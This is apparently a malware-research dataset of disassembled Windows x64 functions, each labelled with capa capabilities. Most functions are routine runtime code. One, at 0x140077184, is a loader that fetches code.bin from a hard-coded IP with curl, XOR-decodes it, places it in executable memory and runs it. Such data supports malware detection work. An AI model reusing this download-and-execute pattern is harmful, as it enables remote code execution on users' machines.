joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000243c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140002488
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140002480
cmp dword [rcx + 0x3c], edx
jl 0x140002480
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140002480
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x140002488
mov rax, rdx
add rsp, 0x18
ret

Function at 0x1400025b0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400025d8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400025d8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x1400026e4
Capabilities:
Print debug messages

Disassembly:
jmp 0x1400026f0
push rbx
sub rsp, 0x540
mov rax, qword [0x14000c298]
xor rax, rsp
mov qword [rsp + 0x530], rax
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_core_rtlsupport_l1_1_0.dll_RtlCaptureContext]
mov rbx, qword [rsp + 0x158]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.api_ms_win_core_rtlsupport_l1_1_0.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x14000276d
and qword [rsp + 0x38], 0
lea rcx, [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov r9, rax
mov qword [rsp + 0x30], rcx
mov r8, rbx
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_rtlsupport_l1_1_0.dll_RtlVirtualUnwind]
jmp 0x14000278d
mov rax, qword [rsp + 0x548]
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0x548]
mov qword [rsp + 0xf8], rax
lea rcx, str.Invalid_parameter_passed_to_C_runtime_function._n
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_OutputDebugStringA]
mov rcx, qword [rsp + 0x530]
xor rcx, rsp
call fcn.140001ee0
add rsp, 0x540
pop rbx
ret

Function at 0x1400026f0
Capabilities:
Print debug messages

Disassembly:
jmp 0x1400026f0
push rbx
sub rsp, 0x540
mov rax, qword [0x14000c298]
xor rax, rsp
mov qword [rsp + 0x530], rax
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_core_rtlsupport_l1_1_0.dll_RtlCaptureContext]
mov rbx, qword [rsp + 0x158]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.api_ms_win_core_rtlsupport_l1_1_0.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x14000276d
and qword [rsp + 0x38], 0
lea rcx, [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov r9, rax
mov qword [rsp + 0x30], rcx
mov r8, rbx
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_rtlsupport_l1_1_0.dll_RtlVirtualUnwind]
jmp 0x14000278d
mov rax, qword [rsp + 0x548]
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0x548]
mov qword [rsp + 0xf8], rax
lea rcx, str.Invalid_parameter_passed_to_C_runtime_function._n
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_OutputDebugStringA]
mov rcx, qword [rsp + 0x530]
xor rcx, rsp
call fcn.140001ee0
add rsp, 0x540
pop rbx
ret
Function at 0x140004208
Capabilities:
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x14000c298]
xor rax, rsp
mov qword [rbp + 0x170], rax
and qword [rsp + 0x48], 0
lea rax, [rsp + 0x60]
and qword [rsp + 0x50], 0
mov rdi, rcx
mov rcx, qword [rcx]
mov r9d, 0x2001f
and qword [rsp + 0x58], 0
xor r8d, r8d
and qword [rsp + 0x60], 0
mov rsi, rdx
mov qword [rsp + 0x20], rax
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x48]
mov ebx, eax
test eax, eax
jne 0x140004298
test rcx, rcx
je 0x14000428e
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
nop dword [rax + rax]
mov ebx, eax
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x48], rcx
test ebx, ebx
jmp 0x1400042b4
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.140004208
mov rcx, qword [rsp + 0x48]
mov ebx, eax
test eax, eax
jne 0x140004324
lea rax, [rsp + 0x68]
mov dword [rsp + 0x40], 0x100
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x40]
and qword [rsp + 0x30], 0
lea r8, [rsp + 0x70]
and qword [rsp + 0x28], 0
xor edx, edx
and qword [rsp + 0x20], 0
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegEnumKeyExW]
nop dword [rax + rax]
test eax, eax
je 0x14000429c
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x140004312
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
nop dword [rax + rax]
and qword [rsp + 0x48], 0
mov rdx, rsi
mov rcx, rdi
call fcn.140003840
mov rcx, qword [rsp + 0x48]
mov ebx, eax
test rcx, rcx
je 0x140004335
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
nop dword [rax + rax]
mov eax, ebx
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.140001ee0
mov rbx, qword [rsp + 0x2b0]
add rsp, 0x280
pop rdi
pop rsi
pop rbp
ret
Function at 0x140004514
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
push rsi
push rdi
push r14
sub rsp, 0x480
mov rax, qword [0x14000c298]
xor rax, rsp
mov qword [rsp + 0x470], rax
mov r14, r9
mov rdi, r8
mov rax, rdx
xor ebx, ebx
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x60], rbx
xor edx, edx
lea r8d, [rbx + 2]
mov rcx, rax
call qword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_LoadLibraryExW]
nop dword [rax + rax]
mov rsi, rax
mov qword [rsp + 0x38], rax
test rax, rax
jne 0x140004583
call fcn.1400036b0
mov ebx, eax
jmp 0x1400046cb
xor r9d, r9d
mov r8, rdi
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_FindResourceExW]
nop dword [rax + rax]
mov rdi, rax
test rax, rax
jne 0x1400045ad
call fcn.1400036b0
jmp 0x1400046b9
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_LoadResource]
nop dword [rax + rax]
mov r14, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x1400045a3
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_SizeofResource]
nop dword [rax + rax]
mov edi, eax
mov dword [rsp + 0x30], eax
inc eax
cmp eax, edi
jae 0x14000460b
lea rax, [rsp + 0x68]
cmp qword [rsp + 0x60], rax
je 0x140004601
lea rcx, [rsp + 0x60]
call fcn.140003aac
nop
mov eax, 0x8007000e
jmp 0x1400046e4
mov ecx, eax
test eax, eax
je 0x140004642
xor edx, edx
or rax, 0xffffffffffffffff
div rcx
cmp rax, 2
jb 0x140004709
lea rdx, [rcx + rcx]
cmp rdx, 0x400
jbe 0x140004642
lea rcx, [rsp + 0x60]
call fcn.140003548
mov rax, qword [rsp + 0x60]
jmp 0x14000464c
lea rax, [rsp + 0x68]
mov qword [rsp + 0x60], rax
jmp 0x140004663
test rax, rax
jne 0x14000466f
mov ebx, 0x8007000e
jmp 0x1400046bb
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
mov r9d, edi
mov r8, r14
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.api_ms_win_core_string_l1_1_0.dll_MultiByteToWideChar]
nop dword [rax + rax]
test eax, eax
je 0x1400045a3
mov ecx, eax
mov rax, qword [rsp + 0x60]
mov word [rax + rcx*2], bx
mov r8d, dword [rsp + 0x4c0]
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x48]
call fcn.140004360
mov ebx, eax
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_FreeLibrary]
nop dword [rax + rax]
nop
lea rax, [rsp + 0x68]
cmp qword [rsp + 0x60], rax
je 0x1400046e2
lea rcx, [rsp + 0x60]
call fcn.140003aac
nop
mov eax, ebx
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.140001ee0
mov rbx, qword [rsp + 0x4a0]
add rsp, 0x480
pop r14
pop rdi
pop rsi
ret
mov ecx, 0x80070057
call fcn.1400036f0
int3
Function at 0x1400766a8
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1400f7730
mov rax, rcx
neg rcx
test rax, 7
je 0x1400f774d
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x1400f77a8
test al, 7
jne 0x1400f7740
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x1400f7761
mov rdx, qword [rax - 8]
test dl, dl
je 0x1400f77d2
test dh, dh
je 0x1400f77cc
shr rdx, 0x10
test dl, dl
je 0x1400f77c6
test dh, dh
je 0x1400f77c0
shr rdx, 0x10
test dl, dl
je 0x1400f77ba
test dh, dh
je 0x1400f77b4
shr edx, 0x10
test dl, dl
je 0x1400f77ae
test dh, dh
jne 0x1400f7761
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret

Function at 0x1400769eb
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x140097b30
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.1400974b0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140097b6f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1401b3020]
jmp 0x140097b79
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret
Function at 0x140076b3f
Capabilities:
Query environment variable

Disassembly:
jmp 0x140139170
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140138fa0
lea rcx, [rsp + 0x40]
call fcn.140139120
movzx eax, al
test eax, eax
jne 0x1401391b8
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.140138fd0
mov rax, qword [rsp + 0x70]
jmp 0x140139389
lea rcx, [rsp + 0x40]
call fcn.1401390f0
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.140139090
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.1401390f0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.1400775c1
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x14013925e
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.140138fd0
mov rax, qword [rsp + 0x80]
jmp 0x140139389
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.1400768e7
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.1400767bb
lea rcx, [rsp + 0x48]
call fcn.14007645f
movzx eax, al
test eax, eax
jne 0x1401392c5
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.1400757d0
lea rcx, [rsp + 0x40]
call fcn.140138fd0
mov rax, qword [rsp + 0x88]
jmp 0x140139389
lea rcx, [rsp + 0x48]
call fcn.140076e19
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.1401390f0
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.1400775c1
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x14013935b
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.1400757d0
lea rcx, [rsp + 0x40]
call fcn.140138fd0
mov rax, qword [rsp + 0xa0]
jmp 0x140139389
lea rcx, [rsp + 0x48]
call fcn.140076798
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.1400757d0
lea rcx, [rsp + 0x40]
call fcn.140138fd0
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret

Function at 0x140076b4e
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x140097a60
mov qword [rsp + 8], rcx
sub rsp, 0x48
call fcn.140097430
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140097aa1
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1401b3020]
jmp 0x140097aa7
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x48
ret
Function at 0x140076bd0
Capabilities:
Get geographical location

Disassembly:
jmp 0x140115c00
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.140114b30
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x140115c67
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
movabs r10, 0xe375262d7cd44270
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call qword [0x1401b3030]
jmp 0x140115c89
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.140076400
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret

Function at 0x140076be4
Capabilities:
Terminate process

Disassembly:
jmp 0x14007d730
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140076dc4
Capabilities:
Print debug messages

Disassembly:
jmp 0x140154190
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x30]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x30], 0
jne 0x1401541b6
jmp 0x140154233
mov rcx, qword [rbp + 0x30]
call fcn.1400766a8
inc rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x1401541cf
jmp 0x140154233
mov rax, qword [rbp]
shl rax, 1
mov rcx, rax
add rcx, 0xf
cmp rcx, rax
ja 0x1401541ec
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.14007591a
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 8], rax
mov rax, qword [rbp]
dec rax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
mov r8, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.140075cf3
test eax, eax
jne 0x140154233
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.140076879
lea rsp, [rbp + 0x20]
pop rbp
ret
Function at 0x140077012
Capabilities:
Create process on windows

Disassembly:
jmp 0x1401252b0
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x128
lea rcx, [rsp + 0xe8]
call fcn.1400762e3
lea rcx, [rsp + 0xb8]
call fcn.1400762e3
lea rcx, [rsp + 0x88]
call fcn.1400762e3
call fcn.140076aea
mov r8d, eax
lea rdx, [rsp + 0xe8]
mov rcx, qword [rsp + 0x130]
call fcn.1400760ef
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x140125352
mov dword [rsp + 0x54], 0
lea rcx, [rsp + 0x88]
call fcn.1400765d1
lea rcx, [rsp + 0xb8]
call fcn.1400765d1
lea rcx, [rsp + 0xe8]
call fcn.1400765d1
mov eax, dword [rsp + 0x54]
jmp 0x1401254f8
call fcn.140076aea
mov r8d, eax
lea rdx, [rsp + 0xb8]
mov rcx, qword [rsp + 0x138]
call fcn.1400760ef
mov dword [rsp + 0x58], eax
cmp dword [rsp + 0x58], 0
je 0x1401253b2
mov dword [rsp + 0x5c], 0
lea rcx, [rsp + 0x88]
call fcn.1400765d1
lea rcx, [rsp + 0xb8]
call fcn.1400765d1
lea rcx, [rsp + 0xe8]
call fcn.1400765d1
mov eax, dword [rsp + 0x5c]
jmp 0x1401254f8
mov qword [rsp + 0x70], 0
cmp qword [rsp + 0x168], 0
je 0x140125438
call fcn.140076aea
mov r8d, eax
lea rdx, [rsp + 0x88]
mov rcx, qword [rsp + 0x168]
call fcn.1400760ef
mov dword [rsp + 0x60], eax
cmp dword [rsp + 0x60], 0
je 0x140125426
mov dword [rsp + 0x64], 0
lea rcx, [rsp + 0x88]
call fcn.1400765d1
lea rcx, [rsp + 0xb8]
call fcn.1400765d1
lea rcx, [rsp + 0xe8]
call fcn.1400765d1
mov eax, dword [rsp + 0x64]
jmp 0x1401254f8
lea rcx, [rsp + 0x88]
call fcn.140076261
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0xb8]
call fcn.140076261
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0xe8]
call fcn.140076261
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x158]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x150]
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0x148]
mov r8, qword [rsp + 0x140]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [rsp + 0x68], eax
lea rcx, [rsp + 0x88]
call fcn.1400765d1
lea rcx, [rsp + 0xb8]
call fcn.1400765d1
lea rcx, [rsp + 0xe8]
call fcn.1400765d1
mov eax, dword [rsp + 0x68]
add rsp, 0x128
ret
Function at 0x140077184
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x14007bf70
push rbp
push rdi
sub rsp, 0x458
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xae
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x428], rax
lea rcx, [0x1401b20a2]
call fcn.140078250
lea rax, str.curl_http:__47.128.226.30_code.bin
mov qword [rbp + 0x28], rax
mov byte [rbp + 0x44], 0
mov dword [rbp + 0x254], 0
lea rdx, [0x14016c090]
mov rcx, qword [rbp + 0x28]
call fcn.140075bb8
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x14007bff7
lea rcx, str.popen___failed.
call fcn.140076ced
mov ecx, 1
call fcn.1400753f2
mov r9, qword [rbp + 8]
mov r8d, 1
mov edx, 1
lea rcx, [rbp + 0x44]
call fcn.140075eab
test rax, rax
je 0x14007c04d
movsxd rax, dword [rbp + 0x254]
movzx ecx, byte [rbp + 0x44]
mov byte [rbp + rax + 0x70], cl
movsxd rax, dword [rbp + 0x254]
movzx eax, byte [rbp + rax + 0x70]
mov edx, eax
lea rcx, [0x14016c0ac]
call fcn.1400767f7
mov eax, dword [rbp + 0x254]
inc eax
mov dword [rbp + 0x254], eax
jmp 0x14007bff7
mov rcx, qword [rbp + 8]
call fcn.140077e27
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1cc
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x278], rax
mov dword [rbp + 0x294], 0
jmp 0x14007c090
mov eax, dword [rbp + 0x294]
inc eax
mov dword [rbp + 0x294], eax
movsxd rax, dword [rbp + 0x294]
cmp rax, 0x1cb
jae 0x14007c0bb
movsxd rax, dword [rbp + 0x294]
movzx eax, byte [rbp + rax + 0x70]
xor eax, 0x4c
movsxd rcx, dword [rbp + 0x294]
mov byte [rbp + rcx + 0x70], al
jmp 0x14007c082
mov r8d, 0x1cc
lea rdx, [rbp + 0x70]
mov rcx, qword [rbp + 0x278]
call fcn.14007687e
call qword [rbp + 0x278]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14016c030]
call fcn.14007794f
mov rax, rdi
mov rcx, qword [rbp + 0x428]
xor rcx, rbp
call fcn.140076879
lea rsp, [rbp + 0x438]
pop rdi
pop rbp
ret

Function at 0x14007726a
Capabilities:
Parse pe header

Disassembly:
jmp 0x14007ea80
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14007eaa0
xor al, al
jmp 0x14007eb21
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14007eab3
xor al, al
jmp 0x14007eb21
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14007eadd
xor al, al
jmp 0x14007eb21
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14007eaf1
xor al, al
jmp 0x14007eb21
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14007eb03
xor al, al
jmp 0x14007eb21
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14007eb1f
xor al, al
jmp 0x14007eb21
mov al, 1
add rsp, 0x38
ret
Function at 0x140077747
Capabilities:
Terminate process

Disassembly:
jmp 0x140111bb0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x140111bde
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
mov ecx, 2
call fcn.140077e9f
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000417
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140077f03
Capabilities:
Print debug messages

Disassembly:
jmp 0x140131e30
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x140077fb2
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x140097ba0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.1400974f0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140097be9
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1401b3020]
jmp 0x140097bf8
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x48
ret

Function at 0x140078057
Capabilities:
Set environment variable

Disassembly:
jmp 0x1401563d0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xb8
lea rcx, [rsp + 0x78]
call fcn.1400762e3
lea rcx, [rsp + 0x48]
call fcn.1400762e3
call fcn.140076aea
mov r8d, eax
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0xc0]
call fcn.1400760ef
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x14015643f
mov dword [rsp + 0x24], 0
lea rcx, [rsp + 0x48]
call fcn.1400765d1
lea rcx, [rsp + 0x78]
call fcn.1400765d1
mov eax, dword [rsp + 0x24]
jmp 0x1401564d0
call fcn.140076aea
mov r8d, eax
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
call fcn.1400760ef
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
je 0x140156486
mov dword [rsp + 0x2c], 0
lea rcx, [rsp + 0x48]
call fcn.1400765d1
lea rcx, [rsp + 0x78]
call fcn.1400765d1
mov eax, dword [rsp + 0x2c]
jmp 0x1401564d0
lea rcx, [rsp + 0x48]
call fcn.140076261
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x78]
call fcn.140076261
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x48]
call fcn.1400765d1
lea rcx, [rsp + 0x78]
call fcn.1400765d1
mov eax, dword [rsp + 0x30]
add rsp, 0xb8
ret